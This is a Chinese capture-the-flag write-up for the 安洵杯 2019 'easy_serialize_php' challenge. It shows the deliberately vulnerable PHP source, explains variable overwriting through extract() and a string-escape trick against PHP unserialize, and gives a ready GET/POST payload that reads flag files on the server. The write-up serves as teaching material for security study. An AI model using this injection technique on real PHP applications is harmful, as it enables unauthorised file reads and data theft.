首页 > 编程语言 >[安洵杯 2019]easy_serialize_php

[安洵杯 2019]easy_serialize_php

时间:2024-02-27 21:01:50浏览次数:22  
标签:function img serialize 安洵 ZDBnM19mMWFnLnBocA SESSION 2019 user php

[安洵杯 2019]easy_serialize_php

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

可控参数有

f,user,function(这里可以利用extract函数进行变量覆盖)

我们查看一下phpinfo里面,发现有个d0g3_f1ag.php文件

基本思路就有了

使$userinfo['img']等于ZDBnM19mMWFnLnBocA==,读取d0g3_f1ag.php文件的内容

$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));这里进行sha1加密就不能base64

解码,所以只能走if这条路

发现这个函数preg_replace,想到了可以进行字符串逃逸

我们将变量赋值为

$_SESSION["user"] = 'guest';
$_SESSION['function'] = '11';
$_SESSION['img'] = base64_encode('d0g3_f1ag.php');

序列化结果

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:2:"11";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

如果想让img参数进行解析,我们需要吃的字符串是";s:8:"function";s:2:"1124个字符,6个flag正好是24个字符

赋值

$_SESSION["user"] = 'guestflagflagflagflagflagflag';
$_SESSION['function'] = '11';
$_SESSION['img'] = base64_encode('d0g3_f1ag.php');

序列化结果

a:3:{s:4:"user";s:29:"guest";s:8:"function";s:2:"11";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

这样img参数就可以解析,但function参数没了,我们要加上function参数

赋值

$_SESSION["user"] = 'guestflagflagflagflagflagflag';
$_SESSION['function'] = '";s:8:"function";s:2:"11";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img'] = base64_encode('d0g3_f1ag.php');

序列化结果

a:3:{s:4:"user";s:29:"guest";s:8:"function";s:65:"";s:8:"function";s:2:"11";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

在user变量里,会多吃一个",即guest";s:8:"function";s:65:""这样才是29个字符,我们需要在function参数前多加一个字符

$_SESSION['function'] = 'a";s:8:"function";s:2:"11";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';

序列化结果

a:3:{s:4:"user";s:29:"guest";s:8:"function";s:66:"a";s:8:"function";s:2:"11";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

这样就都能被解析了

payload

GET传参:
f=show_image
POST传参:
_SESSION[user]=guestflagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:2:"11";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

d0g3_f1ag.php文件的内容是

<?php

$flag = 'flag in /d0g3_fllllllag';

?>

同样读取/d0g3_fllllllag文件

<?php
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

$_SESSION["user"] = 'guestflagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:8:"function";s:2:"11";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}';
$_SESSION['img'] = base64_encode('d0g3_f1ag.php');


$serialize_info = filter(serialize($_SESSION));
echo $serialize_info;

学这道题前,可以先学习字符串逃逸的原理

标签:function,img,serialize,安洵,ZDBnM19mMWFnLnBocA,SESSION,2019,user,php
From: https://www.cnblogs.com/C0rr3ct/p/18038315

相关文章

  • AT_joisc2019_j 题解
    先考虑这个式子:\[\sum_{j=1}^{M}|C_{k_{j}}-C_{k_{j+1}}|\]一定是在\(C\)有序时取到,具体证明很简单各位读者自己证明。那么现在式子变成:\[\sum{V}+2\times({C_{\max}-C_{\min}})\]这个时候一个常见的技巧是将\(C\)排序。这个时候就可以定义状态:\[dp_{i,j}=\s......
  • [十二省联考 2019] 希望
    \(\mathbb{P}\text{art}\1\\36\\text{pts}\):首先由于所以联通块都包括一个点,我们可以考虑每个点对答案的贡献,即求一个点所在联通块的数量。因为这样做会重复,所以我们用边点容斥来去重即\(V=E+1\),点的答案减去边的答案就是方案数,边的答案是对于一条边其两个端点都合......
  • VS2019自带的增强型指令集和自我优化的版本速度比较.
    去年年底把工程项目由VS的2015升级到2019版本,本以为直接配置下运行环境就可以了,但是一编译发现一大堆错误,所有的错误都指向一系列的指令集,比如_mm_exp_ps、_mm_log_ps、_mm_pow_ps等等,后面发现原来从2019版本开始,编译器已经自带了这些常用的函数,所以自己函数和系统的重名了,也......
  • [DotnetSec]XmlSerializer 反序列化 分析
    Dotnet-XmlSerializer反序列化序列化和反序列化的演示Demo参考微软的文档:https://learn.microsoft.com/zh-cn/dotnet/api/system.xml.serialization.xmlserializer?view=net-5.0XmlSerializer命名空间:System.Xml.Serialization程序集:System.Xml.XmlSerializer.dll演示......
  • Windows系统下Visual Studio 2019中C++静态、动态库的封装、使用以及遇到的问题
    本篇文章主要是因为本人需要用到静、动态库的封装和使用,下面的链接关于静、动态库的封装和使用描述的非常详细:http://t.csdnimg.cn/HyTD4在按照上述封装好静、动态库之后,在VisualStudio2019使用过程中出现了“test.obj:errorLNK2019:无法解析的外部符号_createInterface......
  • AtCoder WTF 2019 B Multiple of Nine/南外集训 2024.2.23 T1
    给定\(q\)个区间\(\{[l_i,r_i]\}\),计算满足条件的长度为\(n\)的十进制数码串\(S\)的个数\(\bmod10^9+7\):\(\foralli\in[1,q],num(S[l_i,r_i])\equiv0\pmod9\)。其中\(num(T)\)表示数码串\(T\)代表的整数,\(T[a,b]\)表示子串\(T_aT_{a+1}\dotsT_b\)......
  • 为免费Hyper-V Server 2019打造本地图形管理界面
    Hyper-VServer是微软发布的免费虚拟化引擎,支持文本界面。本文通过在Hyper-VServer上本地安装chrome和windowsadmincenter,实现Hyper-VServer的本地图形管理界面。1、介绍Hyper-V是Microsoft的硬件虚拟化产品。它用于创建并运行计算机的软件版本,称为“虚拟机”。每......
  • [SWPUCTF 2021 新生赛]ez_unserialize
    概括这是一道PHP反序列化的CTF赛题,本意是想用这道题对PHP反序列化进行一定的学习。过程我们打开赛题,看看内容 没有发现什么东西,看看他的页面代码  根据他的提示,感觉是存在一个robots.txt文件的,尝试访问一下。 进去看看。 果然如此我们来分析一下这段代码<......
  • Unity中的SerializeReference使用简介
    Unity默认可以序列化值类型,Serializable属性修饰的类型,派生自UnityEngine.Object的类型,通常这些类型已经足以供日常使用了.但是有时我们希望在编辑器面板上序列化一个接口或者抽象类,则需要用到SerializeReference属性.假定我们有一个接口IEatable,并实现了两个类Brea......
  • windows server 2019/2022安装WSUS更新服务器配置System.Runtime.InteropServices.COM
    现象: 2024-02-1814:41:10Postinstallstarted2024-02-1814:41:10Detectedroleservices:Api,UI,WidDatabase,Services2024-02-1814:41:10Start:LoadSettingsFromXml2024-02-1814:41:10Start:GetConfigValuewithfilename=UpdateServices-Services.xmlit......